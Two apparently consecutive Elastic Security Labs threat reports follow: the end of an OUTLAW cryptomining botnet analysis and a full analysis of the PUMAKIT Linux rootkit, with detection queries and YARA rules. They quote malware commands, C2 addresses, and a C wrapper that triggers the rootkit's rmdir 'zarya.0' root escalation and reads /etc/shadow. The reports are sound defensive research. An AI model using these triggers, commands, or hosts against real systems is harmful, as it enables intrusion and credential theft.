We can further enhance detection through the following hunting query:

• Hidden Process Execution

TA006: Credential Access

OUTLAW maintains persistent access to a compromised system by manipulating credentials. Following successful SSH brute-force authentication, the malware replaces the existing SSH authorized_keys file with a new version containing a malicious SSH public key, thereby granting persistent access. This is detected through the following signals:

• SSH Authorized Keys File Modification
• SSH Authorized Keys File Deletion

The malware then changes the user credentials for the authenticated account by entering a new password using the passwd utility:

• Linux User Account Credential Modification

TA007: Discovery

OUTLAW gathers system information upon successful infection to profile the compromised environment. The malware executes various commands to collect details about the system’s CPU, user privileges, operating system, memory usage, and available binaries. This reconnaissance step helps the attacker assess the system’s capabilities and determine how best to utilize the compromised machine. These are all detected through several building block rules, as listed in our rules_building_block directory. Below is a short list of the most important ones triggered by OUTLAW:

• Linux System Information Discovery
• Process Discovery via Built-In Applications
• System Owner/User Discovery Linux
• Account or Group Discovery via Built-In Tools
• System Network Connections Discovery

The default interface settings do not include building block rules due to their relatively high noise levels. However, these rules can be enabled to assist in the identification of potential threats.

TA008: Lateral Movement

OUTLAW malware spreads through a compromised network by carrying out internal SSH brute-force attacks. We can identify this behavior through the following ES|QL rules:

• Potential Port Scanning Activity from Compromised Host
• Potential Subnet Scanning Activity from Compromised Host

Once a system is successfully brute-forced, the malware package, dota3.tar.gz, is deployed from the infected host to the new target. The local subnet is then scanned for additional targets to ensure the malware's continued propagation.

Elastic pre-built detection rules can identify these lateral movement attempts:

• Potential Internal Linux SSH Brute Force Detected
• Remote File Creation in World Writeable Directory
• Unusual Remote File Creation

Additionally, upon copying the OUTLAW malware to a remote host, malware prevention alerts kick in.

TA009: Collection & TA010: Exfiltration

OUTLAW collects basic system information, credentials, and SSH details from compromised machines, primarily for tracking infected hosts and facilitating further attacks. This data is stored in a simple text file before being uploaded to a C2 server. Since this collection activity is limited to gathering system details and writing them to a file, it is not inherently suspicious on its own.

Exfiltration occurs when OUTLAW initiates an outbound SSH connection via sftp-server to transfer the collected information to a predefined C2 server. While this may resemble normal SSH activity, we can detect suspicious execution of file transfer utilities through ES|QL:

• Unusual File Transfer Utility Launched

TA011: Command and Control

OUTLAW maintains communication with its C2 infrastructure through multiple channels, allowing attackers to issue commands, exfiltrate data, and manage infected systems. We can detect several of the utilities used by the malware through the following rules:

• Socat Reverse Shell or Listener Activity
• High Number of Egress Network Connections from Unusual Executable
• Suspicious Network Activity to the Internet by Previously Unknown Executable.

The same hunting queries that were relevant for detecting the malware’s initial access attempts, can also be used to hunt for this C2 activity. Additionally, the following hunting queries can be used:

• Low Volume External Network Connections from Process by Unique Agent
• Unusual File Downloads from Source Addresses
• Excessive SSH Network Activity to Unique Destinations

TA040: Impact

OUTLAW impacts infected systems by consuming CPU resources for cryptocurrency mining and performing SSH brute-force attacks to propagate. Several CPU and memory optimizations are attempted before launching the modified XMRIG mining software, including enabling MSR write access and setting kernel parameters such as hugepages. These modifications can be detected through the following rules:

• Suspicious Kernel Feature Activity
• MSR Write Access Enabled

As OUTLAW attempts to enable MSR write access via modprobe but lacks the required permissions, kernel driver-related rules are triggered:

• Kernel Driver Load by Non-Root User
• Kernel Driver Load

These rules directly monitor for init_module() and finit_module() syscalls, through Auditd. For more information on how to set up the Auditd Manager integration to capture driver events and much more, check out the Linux Detection Engineering with Auditd publication.

Simultaneously, SSH brute-force attempts are launched from the infected host, triggering:

• Potential Malware-Driven SSH Brute Force Attempt

Throughout its execution, OUTLAW runs kill scripts to terminate competing malware or leftover processes from previous infections. This behavior triggers:

• Kill Command Executed
• Kill Command Executed from Binary in Unusual Location
• Kill Command Executed from a Hidden Process

Indicators of Compromise (IOCs)

The complete set of indicators can be found as a bundle on Github.

Yara Signatures

rule Linux_Hacktool_Outlaw_cf069e73 {
    meta:
        author = "Elastic Security"
        description = "OUTLAW SSH bruteforce component fom the Dota3 package"
        reference_sample = "c3efbd6b5e512e36123f7b24da9d83f11fffaf3023d5677d37731ebaa959dd27"
      
    strings:
        $ssh_key_1 = "MIIJrTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQI8vKBZRGKsHoCAggA"
        $ssh_key_2 = "MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAECBBBC3juWsJ7DsDd2wH2XI+vUBIIJ"
        $ssh_key_3 = "UCQ2viiVV8pk3QSUOiwionAoe4j4cBP3Ly4TQmpbLge9zRfYEUVe4LmlytlidI7H"
        $ssh_key_4 = "O+bWbjqkvRXT9g/SELQofRrjw/W2ZqXuWUjhuI9Ruq0qYKxCgG2DR3AcqlmOv54g"
        $path_1 = "/home/eax/up"
        $path_2 = "/var/tmp/dota"
        $path_3 = "/dev/shm/ip"
        $path_4 = "/dev/shm/p"
        $path_5 = "/var/tmp/.systemcache"
        $cmd_1 = "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"
        $cmd_2 = "cd ~; chattr -ia .ssh; lockr -ia .ssh"
        $cmd_3 = "sort -R b | awk '{ if ( NF == 2 ) print } '> p || cat b | awk '{ if ( NF == 2 ) print } '> p; sort -R a"
        $cmd_4 = "rm -rf /var/tmp/dota*"
        $cmd_5 = "rm -rf a b c d p ip ab.tar.gz"
    condition:
        (all of ($ssh_key*)) or (3 of ($path*) and 3 of ($cmd*))
}

SIEM and Endpoint Rules Overview by MITRE ATT&CK Tactic

Conclusion

OUTLAW exemplifies how even unsophisticated malware can persist and scale effectively in modern environments. Despite lacking advanced evasion techniques, its combination of SSH brute-force attacks, self-replication, and modular components allows it to maintain a long-running botnet. OUTLAW ensures continuous expansion with minimal attacker intervention by leveraging compromised hosts to propagate infections further.

Our honeypot experiment provided a rare glimpse into the attacker's real-world behavior, confirming that while much of OUTLAW’s operation is automated, there are moments of direct human interaction. The ability to observe manual commands, reconnaissance attempts, and even simple typographical errors highlights an often-overlooked aspect of botnet maintenance—operator-driven quality control. These insights reinforce the need for detection strategies that account not just for automated attacks but also for manual post-compromise activity.

By understanding how OUTLAW operates, spreads, and monetizes infections, defenders can develop robust detection strategies to mitigate its impact. This report provides actionable SIEM rules, threat-hunting queries, and forensic insights, enabling security teams to stay ahead of similar evolving threats.

References

[1] CounterCraft, DOTA3 Malware Again and Again

[2] Juniper Networks, DOTA3: Is Your Internet of Things Device Moonlighting?

[3] SANS ISC, Hygiene Hygiene Hygiene

[4] Darktrace, Outlaw Returns: Uncovering Returning Features and New Tactics

PUMAKIT is a sophisticated piece of malware, initially uncovered during routine threat hunting on VirusTotal and named after developer-embedded strings found within its binary. Its multi-stage architecture consists of a dropper (cron), two memory-resident executables (/memfd:tgt and /memfd:wpn), an LKM rootkit module, and a shared object (SO) userland rootkit.

The rootkit component, referenced by the malware authors as “PUMA", employs an internal Linux function tracer (ftrace) to hook 18 different syscalls and several kernel functions, enabling it to manipulate core system behaviors. Unique methods are used to interact with PUMA, including using the rmdir() syscall for privilege escalation and specialized commands for extracting configuration and runtime information. Through its staged deployment, the LKM rootkit ensures it only activates when specific conditions, such as secure boot checks or kernel symbol availability, are met. These conditions are verified by scanning the Linux kernel, and all necessary files are embedded as ELF binaries within the dropper.

Key functionalities of the kernel module include privilege escalation, hiding files and directories, concealing itself from system tools, anti-debugging measures, and establishing communication with command-and-control (C2) servers.

Key takeaways

• Multi-Stage Architecture: The malware combines a dropper, two memory-resident executables, an LKM rootkit, and an SO userland rootkit, activating only under specific conditions.
• Advanced Stealth Mechanisms: Hooks 18 syscalls and several kernel functions using ftrace() to hide files, directories, and the rootkit itself, while evading debugging attempts.
• Unique Privilege Escalation: Utilizes unconventional hooking methods like the rmdir() syscall for escalating privileges and interacting with the rootkit.
• Critical Functionalities: Includes privilege escalation, C2 communication, anti-debugging, and system manipulation to maintain persistence and control.

PUMAKIT Discovery

During routine threat hunting on VirusTotal, we came across an intriguing binary named cron. The binary was first uploaded on September 4, 2024, with 0 detections, raising suspicions about its potential stealthiness. Upon further examination, we discovered another related artifact, /memfd:wpn (deleted)71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24, uploaded on the same day, also with 0 detections.

What caught our attention were the distinct strings embedded in these binaries, hinting at potential manipulation of the vmlinuz kernel package in /boot/. This prompted a deeper analysis of the samples, leading to interesting findings about their behavior and purpose.

PUMAKIT code analysis

PUMAKIT, named after its embedded LKM rootkit module (named "PUMA" by the malware authors) and Kitsune, the SO userland rootkit, employs a multi-stage architecture, starting with a dropper that initiates an execution chain. The process begins with the cron binary, which creates two memory-resident executables: /memfd:tgt (deleted) and /memfd:wpn (deleted). While /memfd:tgt serves as a benign Cron binary, /memfd:wpn acts as a rootkit loader. The loader is responsible for evaluating system conditions, executing a temporary script (/tmp/script.sh), and ultimately deploying the LKM rootkit. The LKM rootkit contains an embedded SO file - Kitsune - to interact with the rootkit from userspace. This execution chain is displayed below.

This structured design enables PUMAKIT to execute its payload only when specific criteria are met, ensuring stealth and reducing the likelihood of detection. Each stage of the process is meticulously crafted to hide its presence, leveraging memory-resident files and precise checks on the target environment.

In this section, we will dive deeper into the code analysis for the different stages, exploring its components and their role in enabling this sophisticated multi-stage malware.

Stage 1: Cron overview

The cron binary acts as a dropper. The function below serves as the main logic handler in a PUMAKIT malware sample. Its primary goals are:

1. Check command-line arguments for a specific keyword ("Huinder").
2. If not found, embed and run hidden payloads entirely from memory without dropping them into the filesystem.
3. If found, handle specific “extraction” arguments to dump its embedded components to disk and then gracefully exit.

In short, the malware tries to remain stealthy. If run usually (without a particular argument), it executes hidden ELF binaries without leaving traces on disk, possibly masquerading as a legitimate process (like cron).

If the string Huinder isn’t found among the arguments, the code inside if (!argv_) executes:

writeToMemfd(...): This is a hallmark of fileless execution. memfd_create allows the binary to exist entirely in memory. The malware writes its embedded payloads (tgtElfp and wpnElfp) into anonymous file descriptors rather than dropping them onto disk.

fork() and execveat(): The malware forks into a child and parent process. The child redirects its standard output and error to /dev/null to avoid leaving logs and then executes the “weapon” payload (wpnElfp) using execveat(). The parent waits for the child and then executes the “target” payload (tgtElfp). Both payloads are executed from memory, not from a file on disk, making detection and forensic analysis more difficult.

The choice of execveat() is interesting—it’s a newer syscall that allows executing a program referred to by a file descriptor. This further supports the fileless nature of this malware’s execution.

We have identified that the tgt file is a legitimate cron binary. It is loaded in memory and executed after the rootkit loader (wpn) is executed.

After execution, the binary remains active on the host.

> ps aux
root 2138 ./30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f

Below is a listing of the file descriptors for this process. These file descriptors show the memory-resident files created by the dropper.

root@debian11-rg:/tmp# ls -lah /proc/2138/fd
total 0
dr-x------ 2 root root  0 Dec  6 09:57 .
dr-xr-xr-x 9 root root  0 Dec  6 09:57 ..
lr-x------ 1 root root 64 Dec  6 09:57 0 -> /dev/null
l-wx------ 1 root root 64 Dec  6 09:57 1 -> /dev/null
l-wx------ 1 root root 64 Dec  6 09:57 2 -> /dev/null
lrwx------ 1 root root 64 Dec  6 09:57 3 -> '/memfd:tgt (deleted)'
lrwx------ 1 root root 64 Dec  6 09:57 4 -> '/memfd:wpn (deleted)'
lrwx------ 1 root root 64 Dec  6 09:57 5 -> /run/crond.pid
lrwx------ 1 root root 64 Dec  6 09:57 6 -> 'socket:[20433]'

Following the references we can see the binaries that are loaded in the sample. We can simply copy the bytes into a new file for further analysis using the offset and sizes.

Upon extraction, we find the following two new files:

• Wpn: cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe
• Tgt: 934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136

We now have the dumps of the two memory files.

Stage 2: Memory-resident executables overview

Examining the /memfd:tgt ELF file, it is clear that this is the default Ubuntu Linux Cron binary. There appear to be no modifications to the binary.

The /memfd:wpn file is more interesting, as it is the binary responsible for loading the the LKM rootkit. This rootkit loader attempts to hide itself by mimicking it as the /usr/sbin/sshd executable. It checks for particular prerequisites, such as whether secure boot is enabled and the required symbols are available, and if all conditions are met, it loads the kernel module rootkit.

Looking at the execution in Kibana, we can see that the program checks whether secure boot is enabled by querying dmesg. If the correct conditions are met, a shell script called script.sh is dropped in the /tmp directory and executed.

This script contains logic for inspecting and processing files based on their compression formats.

Here's what it does:

• The function c() inspects files using the file command to verify whether they are ELF binaries. If not, the function returns an error.
• The function d() attempts to decompress a given file using various utilities like gunzip, unxz, bunzip2, and others based on signatures of supported compression formats. It employs grep and tail to locate and extract specific compressed segments.
• The script attempts to locate and process a file ($i) into /tmp/vmlinux.

After the execution of /tmp/script.sh, the file /boot/vmlinuz-5.10.0-33-cloud-amd64 is used as input. The tr command is employed to locate gzip's magic numbers (\037\213\010). Subsequently, a portion of the file starting at the byte offset +10957311 is extracted using tail, decompressed with gunzip, and saved as /tmp/vmlinux. The resulting file is then verified to determine if it is a valid ELF binary.

This sequence is repeated multiple times until all entries within the script have been passed into function d().

d '\037\213\010' xy gunzip
d '\3757zXZ\000' abcde unxz
d 'BZh' xy bunzip2
d '\135\0\0\0' xxx unlzma
d '\211\114\132' xy 'lzop -d'
d '\002!L\030' xxx 'lz4 -d'
d '(\265/\375' xxx unzstd

This process is shown below.

After running through all of the items in the script, the /tmp/vmlinux and /tmp/script.sh files are deleted.

The script's primary purpose is to verify whether specific conditions are satisfied and, if they are, to set up the environment for deploying the rootkit using a kernel object file.

As shown in the image above, the loader looks for __ksymtab and __kcrctab symbols in the Linux Kernel file and stores the offsets.

Several strings show that the rootkit developers refer to their rootkit as “PUMA" within the dropper. Based on the conditions, the program outputs messages such as:

PUMA %s
[+] PUMA is compatible
[+] PUMA already loaded

Furthermore, the kernel object file contains a section named .puma-config, reinforcing the association with the rootkit.

Stage 3: LKM rootkit overview

In this section, we take a closer look at the kernel module to understand its underlying functionality. Specifically, we will examine its symbol lookup features, hooking mechanism, and the key syscalls it modifies to achieve its goals.

LKM rootkit overview: symbol lookup and hooking mechanism

The LKM rootkit's ability to manipulate system behavior begins with its use of the syscall table and its reliance on kallsyms_lookup_name() for symbol resolution. Unlike modern rootkits targeting kernel versions 5.7 and above, the rootkit does not use kprobes, indicating it is designed for older kernels.

This choice is significant because, prior to kernel version 5.7, kallsyms_lookup_name() was exported and could be easily leveraged by modules, even those without proper licensing.

In February 2020, kernel developers debated the unexporting of kallsyms_lookup_name() to prevent misuse by unauthorized or malicious modules. A common tactic involved adding a fake MODULE_LICENSE("GPL") declaration to circumvent licensing checks, allowing these modules to access non-exported kernel functions. The LKM rootkitdemonstrates this behavior, as evident from its strings:

name=audit
license=GPL

This fraudulent use of the GPL license ensures the rootkit can call kallsyms_lookup_name() to resolve function addresses and manipulate kernel internals.

In addition to its symbol resolution strategy, the kernel module employs the ftrace() hooking mechanism to establish its hooks. By leveraging ftrace(), the rootkit effectively intercepts syscalls and replaces their handlers with custom hooks.

Evidence of this is e.g. the usage of unregister_ftrace_function and ftrace_set_filter_ip as shown in the snippet of code above.

LKM rootkit overview: hooked syscalls overview

We analyzed the rootkit's syscall hooking mechanism to understand the scope of PUMA's interference with system functionality. The following table summarizes the syscalls hooked by the rootkit, the corresponding hooked functions, and their potential purposes.

By viewing the cleanup_module() function, we can see the ftrace() hooking mechanism being reverted by using the unregister_ftrace_function() function. This guarantees that the callback is no longer being called. Afterward, all syscalls are returned to point to the original syscall rather than the hooked syscall. This gives us a clean overview of all syscalls that were hooked.

In the following sections, we will take a closer look at a few of the hooked syscalls.

LKM rootkit overview: rmdir_hook()

The rmdir_hook() in the kernel module plays a critical role in the rootkit’s functionality, enabling it to manipulate directory removal operations for concealment and control. This hook is not limited to merely intercepting rmdir() syscalls but extends its functionality to enforce privilege escalation and retrieve configuration details stored within specific directories.

This hook has several checks in place. The hook expects the first characters to the rmdir() syscall to be zarya. If this condition is met, the hooked function checks the 6th character, which is the command that gets executed. Finally, the 8th character is checked, which can contain process arguments for the command that is being executed. The structure looks like: zarya[char][command][char][argument]. Any special character (or none) can be placed between zarya and the commands and arguments.

As of the publication date, we have identified the following commands:

Upon initialization of the rootkit, the rmdir() syscall hook is used to check whether the rootkit was loaded successfully. It does this by calling the t command.

ubuntu-rk:~$ rmdir test
rmdir: failed to remove 'test': No such file or directory
ubuntu-rk:~$ rmdir zarya.t
ubuntu-rk:~$

When using the rmdir command on a non-existent directory, an error message “No such file or directory” is returned. When using rmdir on zarya.t, no output is returned, indicating successful loading of the kernel module.

A second command is v, which is used to get the version of the running rootkit.

ubuntu-rk:~$ rmdir zarya.v
rmdir: failed to remove '240513': No such file or directory

Instead of zarya.v being added to the “failed to remove ‘directory’” error, the rootkit version 240513 is returned.

A third command is c, which prints the configuration of the rootkit.

ubuntu-rk:~/testing$ ./dump_config "zarya.c"
rmdir: failed to remove '': No such file or directory
Buffer contents (hex dump):
7ffe9ae3a270  00 01 00 00 10 70 69 6e 67 5f 69 6e 74 65 72 76  .....ping_interv
7ffe9ae3a280  61 6c 5f 73 00 2c 01 00 00 10 73 65 73 73 69 6f  al_s.,....sessio
7ffe9ae3a290  6e 5f 74 69 6d 65 6f 75 74 5f 73 00 04 00 00 00  n_timeout_s.....
7ffe9ae3a2a0  10 63 32 5f 74 69 6d 65 6f 75 74 5f 73 00 c0 a8  .c2_timeout_s...
7ffe9ae3a2b0  00 00 02 74 61 67 00 08 00 00 00 67 65 6e 65 72  ...tag.....gener
7ffe9ae3a2c0  69 63 00 02 73 5f 61 30 00 15 00 00 00 72 68 65  ic..s_a0.....rhe
7ffe9ae3a2d0  6c 2e 6f 70 73 65 63 75 72 69 74 79 31 2e 61 72  l.opsecurity1.ar
7ffe9ae3a2e0  74 00 02 73 5f 70 30 00 05 00 00 00 38 34 34 33  t..s_p0.....8443
7ffe9ae3a2f0  00 02 73 5f 63 30 00 04 00 00 00 74 6c 73 00 02  ..s_c0.....tls..
7ffe9ae3a300  73 5f 61 31 00 14 00 00 00 73 65 63 2e 6f 70 73  s_a1.....sec.ops
7ffe9ae3a310  65 63 75 72 69 74 79 31 2e 61 72 74 00 02 73 5f  ecurity1.art..s_
7ffe9ae3a320  70 31 00 05 00 00 00 38 34 34 33 00 02 73 5f 63  p1.....8443..s_c
7ffe9ae3a330  31 00 04 00 00 00 74 6c 73 00 02 73 5f 61 32 00  1.....tls..s_a2.
7ffe9ae3a340  0e 00 00 00 38 39 2e 32 33 2e 31 31 33 2e 32 30  ....89.23.113.20
7ffe9ae3a350  34 00 02 73 5f 70 32 00 05 00 00 00 38 34 34 33  4..s_p2.....8443
7ffe9ae3a360  00 02 73 5f 63 32 00 04 00 00 00 74 6c 73 00 00  ..s_c2.....tls..

Because the payload starts with null bytes, no output is returned when running zarya.c through a rmdir shell command. By writing a small C program that wraps the syscall and prints the hex/ASCII representation, we can see the configuration of the rootkit being returned.

Instead of using the kill() syscall to get root privileges (like most rootkits do), the rootkit leverages the rmdir() syscall for this purpose as well. The rootkit uses the prepare_creds function to modify the credential-related IDs to 0 (root), and calls commit_creds on this modified structure to obtain root privileges within its current process.

To trigger this function, we need to set the 6th character to 0. The caveat for this hook is that it gives the caller process root privileges but does not maintain them. When executing zarya.0, nothing happens. However, when calling this hook with a C program and printing the current process’ privileges, we do get a result. A snippet of the wrapper code that is used is displayed below:

[...]
// Print the current PID, SID, and GID
pid_t pid = getpid();
pid_t sid = getsid(0);  // Passing 0 gets the SID of the calling process
gid_t gid = getgid();

printf("Current PID: %d, SID: %d, GID: %d\n", pid, sid, gid);

// Print all credential-related IDs
uid_t ruid = getuid();    // Real user ID
uid_t euid = geteuid();   // Effective user ID
gid_t rgid = getgid();    // Real group ID
gid_t egid = getegid();   // Effective group ID
uid_t fsuid = setfsuid(-1);  // Filesystem user ID
gid_t fsgid = setfsgid(-1);  // Filesystem group ID

printf("Credentials: UID=%d, EUID=%d, GID=%d, EGID=%d, FSUID=%d, FSGID=%d\n",
    ruid, euid, rgid, egid, fsuid, fsgid);

[...]

Executing the function, we can the following output:

ubuntu-rk:~/testing$ whoami;id
ruben
uid=1000(ruben) gid=1000(ruben) groups=1000(ruben),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd)

ubuntu-rk:~/testing$ ./rmdir zarya.0
Received data:
zarya.0
Current PID: 41838, SID: 35117, GID: 0
Credentials: UID=0, EUID=0, GID=0, EGID=0, FSUID=0, FSGID=0

To leverage this hook, we wrote a small C wrapper script that executes the rmdir zarya.0 command and checks whether it can now access the /etc/shadow file.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <errno.h>

int main() {
    const char *directory = "zarya.0";

    // Attempt to remove the directory
    if (syscall(SYS_rmdir, directory) == -1) {
        fprintf(stderr, "rmdir: failed to remove '%s': %s\n", directory, strerror(errno));
    } else {
        printf("rmdir: successfully removed '%s'\n", directory);
    }

    // Execute the `id` command
    printf("\n--- Running 'id' command ---\n");
    if (system("id") == -1) {
        perror("Failed to execute 'id'");
        return 1;
    }

    // Display the contents of /etc/shadow
    printf("\n--- Displaying '/etc/shadow' ---\n");
    if (system("cat /etc/shadow") == -1) {
        perror("Failed to execute 'cat /etc/shadow'");
        return 1;
    }

    return 0;
}

With success.

ubuntu-rk:~/testing$ ./get_root
rmdir: successfully removed 'zarya.0'

--- Running 'id' command ---
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd),1000(ruben)

--- Displaying '/etc/shadow' ---
root:*:19430:0:99999:7:::
[...]

Although there are more commands available in the rmdir() function, we will, for now, move on to the next and may add them to a future publication.

LKM rootkit overview: getdents() and getdents64() hooks

The getdents_hook() and getdents64_hook() in the rootkit are responsible for manipulating directory listing syscalls to hide files and directories from users.

The getdents() and getdents64() syscalls are used to read directory entries. The rootkit hooks these functions to filter out any entries that match specific criteria. Specifically, files and directories with the prefix zov_ are hidden from any user attempting to list the contents of a directory.

For example:

ubuntu-rk:~/getdents_hook$ mkdir zov_hidden_dir

ubuntu-rk:~/getdents_hook$ ls -lah
total 8.0K
drwxrwxr-x  3 ruben ruben 4.0K Dec  9 11:11 .
drwxr-xr-x 11 ruben ruben 4.0K Dec  9 11:11 ..

ubuntu-rk:~/getdents_hook$ echo "this file is now hidden" > zov_hidden_dir/zov_hidden_file

ubuntu-rk:~/getdents_hook$ ls -lah zov_hidden_dir/
total 8.0K
drwxrwxr-x 2 ruben ruben 4.0K Dec  9 11:11 .
drwxrwxr-x 3 ruben ruben 4.0K Dec  9 11:11 ..

ubuntu-rk:~/getdents_hook$ cat zov_hidden_dir/zov_hidden_file
this file is now hidden

Here, the file zov_hidden can be accessed directly using its entire path. However, when running the ls command, it does not appear in the directory listing.

Stage 4: Kitsune SO overview

While digging deeper into the rootkit, another ELF file was identified within the kernel object file. After extracting this binary, we discovered this is the /lib64/libs.so file. Upon examination, we encountered several references to strings such as Kitsune PID %ld. This suggests that the SO is referred to as Kitsune by the developers. Kitsune may be responsible for certain behaviors observed in the rootkit. These references align with the broader context of how the rootkit manipulates user-space interactions via LD_PRELOAD.

This SO file plays a role in achieving the persistence and stealth mechanisms central to this rootkit, and its integration within the attack chain demonstrates the sophistication of its design. We will now showcase how to detect and/or prevent each part of the attack chain.

PUMAKIT execution chain detection & prevention

This section will display different EQL/KQL rules and YARA signatures that can prevent and detect different parts of the PUMAKIT execution chain.

Stage 1: Cron

Upon execution of the dropper, an uncommon event is saved in syslog. The event states that a process has started with an executable stack. This is uncommon and interesting to watch:

[  687.108154] process '/home/ruben_groenewoud/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f' started with executable stack

We can search for this through the following query:

host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message: "started with executable stack"

This message is stored in /var/log/messages or /var/log/syslog. We can detect this by reading syslog through Filebeat or the Elastic agent system integration.

Stage 2: Memory-resident executables

We can see an unusual file descriptor execution right away. This can be detected through the following EQL query:

process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.executable like "/dev/fd/*" and not process.parent.command_line == "runc init"

This file descriptor will remain the parent of the dropper until the process ends, resulting in the execution of several files through this parent process as well:

file where host.os.type == "linux" and event.type == "creation" and process.executable like "/dev/fd/*" and file.path like (
  "/boot/*", "/dev/shm/*", "/etc/cron.*/*", "/etc/init.d/*", "/var/run/*"
  "/etc/update-motd.d/*", "/tmp/*", "/var/log/*", "/var/tmp/*"
)

After /tmp/script.sh is dropped (detected through the queries above), we can detect its execution by querying for file attribute discovery and unarchiving activity:

process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and 
(process.parent.args like "/boot/*" or process.args like "/boot/*") and (
  (process.name in ("file", "unlzma", "gunzip", "unxz", "bunzip2", "unzstd", "unzip", "tar")) or
  (process.name == "grep" and process.args == "ELF") or
  (process.name in ("lzop", "lz4") and process.args in ("-d", "--decode"))
) and
not process.parent.name == "mkinitramfs"

The script continues to seek the memory of the Linux kernel image through the tail command. This can be detected, along with other memory-seeking tools, through the following query:

process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and
(process.parent.args like "/boot/*" or process.args like "/boot/*") and (
  (process.name == "tail" and (process.args like "-c*" or process.args == "--bytes")) or
  (process.name == "cmp" and process.args == "-i") or
  (process.name in ("hexdump", "xxd") and process.args == "-s") or
  (process.name == "dd" and process.args : ("skip*", "seek*"))
)

Once /tmp/script.sh is done executing, /memfd:tgt (deleted) and /memfd:wpn (deleted) are created. The tgt executable, which is the benign Cron executable, creates a /run/crond.pid file. This is nothing malicious but an artifact that can be detected through a simple query.

file where host.os.type == "linux" and event.type == "creation" and file.extension in ("lock", "pid") and
file.path like ("/tmp/*", "/var/tmp/*", "/run/*", "/var/run/*", "/var/lock/*", "/dev/shm/*") and process.executable != null

The wpn executable will, if all conditions are met, load the LKMrootkit.

Stage 3: Rootkit kernel module

The loading of kernel module is detectable through Auditd Manager by applying the following configuration:

-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules

And using the following query:

driver where host.os.type == "linux" and event.action == "loaded-kernel-module" and auditd.data.syscall in ("init_module", "finit_module")

For more information on leveraging Auditd with Elastic Security to enhance your Linux detection engineering experience, check out our Linux detection engineering with Auditd research published on the Elastic Security Labs site.

Upon initialization, the LKM taints the kernel, as it is not signed.

audit: module verification failed: signature and/or required key missing - tainting kernel

We can detect this behavior through the following KQL query:

host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message:"module verification failed: signature and/or required key missing - tainting kernel"

Also, the LKM has faulty code, causing it to segfault several times. For example:

Dec  9 13:26:10 ubuntu-rk kernel: [14350.711419] cat[112653]: segfault at 8c ip 00007f70d596b63c sp 00007fff9be81360 error 4
Dec  9 13:26:10 ubuntu-rk kernel: [14350.711422] Code: 83 c4 20 48 89 d0 5b 5d 41 5c c3 48 8d 42 01 48 89 43 08 0f b6 02 41 88 44 2c ff eb c1 8b 7f 78 e9 25 5c 00 00 c3 41 54 55 53 <8b> 87 8c 00 00 00 48 89 fb 85 c0 79 1b e8 d7 00 00 00 48 89 df 89

This can be detected through a simple KQL query that queries for segfaults in the kern.log file.

host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and message:segfault

Once the kernel module is loaded, we can see traces of command execution through the kthreadd process. The rootkit creates new kernel threads to execute specific commands. For example, the rootkit executes the following commands at short intervals:

cat /dev/null
truncate -s 0 /usr/share/zov_f/zov_latest

We can detect these and more potentially suspicious commands through a query such as the following:

process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "kthreadd" and (
  process.executable like ("/tmp/*", "/var/tmp/*", "/dev/shm/*", "/var/www/*", "/bin/*", "/usr/bin/*", "/usr/local/bin/*") or
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "whoami", "curl", "wget", "id", "nohup", "setsid") or
  process.command_line like (
    "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", "*/etc/update-motd.d*",
    "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", "*base32 *", "*base16 *", "*/etc/profile*",
    "*/dev/shm/*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*autostart*",
    "*xxd *", "*/etc/shadow*"
  )
) and not process.name == "dpkg"

We can also detect the rootkits’ method of elevating privileges by analyzing the rmdir command for unusual UID/GID changes.

process where host.os.type == "linux" and event.type == "change" and event.action in ("uid_change", "guid_change") and process.name == "rmdir"

Several other behavioral rules may also trigger, depending on the execution chain.

One YARA signature to rule them all

Elastic Security has created a YARA signature to identify PUMAKIT (the dropper (cron), the rootkit loader(/memfd:wpn), the LKM rootkit and the Kitsune shared object files. The signature is displayed below:

rule Linux_Trojan_Pumakit {
    meta:
        author = "Elastic Security"
        creation_date = "2024-12-09"
        last_modified = "2024-12-09"
        os = "Linux"
        arch = "x86, arm64"
        threat_name = "Linux.Trojan.Pumakit"

    strings:
        $str1 = "PUMA %s"
        $str2 = "Kitsune PID %ld"
        $str3 = "/usr/share/zov_f"
        $str4 = "zarya"
        $str5 = ".puma-config"
        $str6 = "ping_interval_s"
        $str7 = "session_timeout_s"
        $str8 = "c2_timeout_s"
        $str9 = "LD_PRELOAD=/lib64/libs.so"
        $str10 = "kit_so_len"
        $str11 = "opsecurity1.art"
        $str12 = "89.23.113.204"
    
    condition:
        4 of them
}

Observations

The following observables were discussed in this research.

Concluding Statement

PUMAKIT is a complex and stealthy threat that uses advanced techniques like syscall hooking, memory-resident execution, and unique privilege escalation methods. Its multi-architectural design highlights the growing sophistication of malware targeting Linux systems.

Elastic Security Labs will continue to analyze PUMAKIT, monitor its behavior, and track any updates or new variants. By refining detection methods and sharing actionable insights, we aim to keep defenders one step ahead.

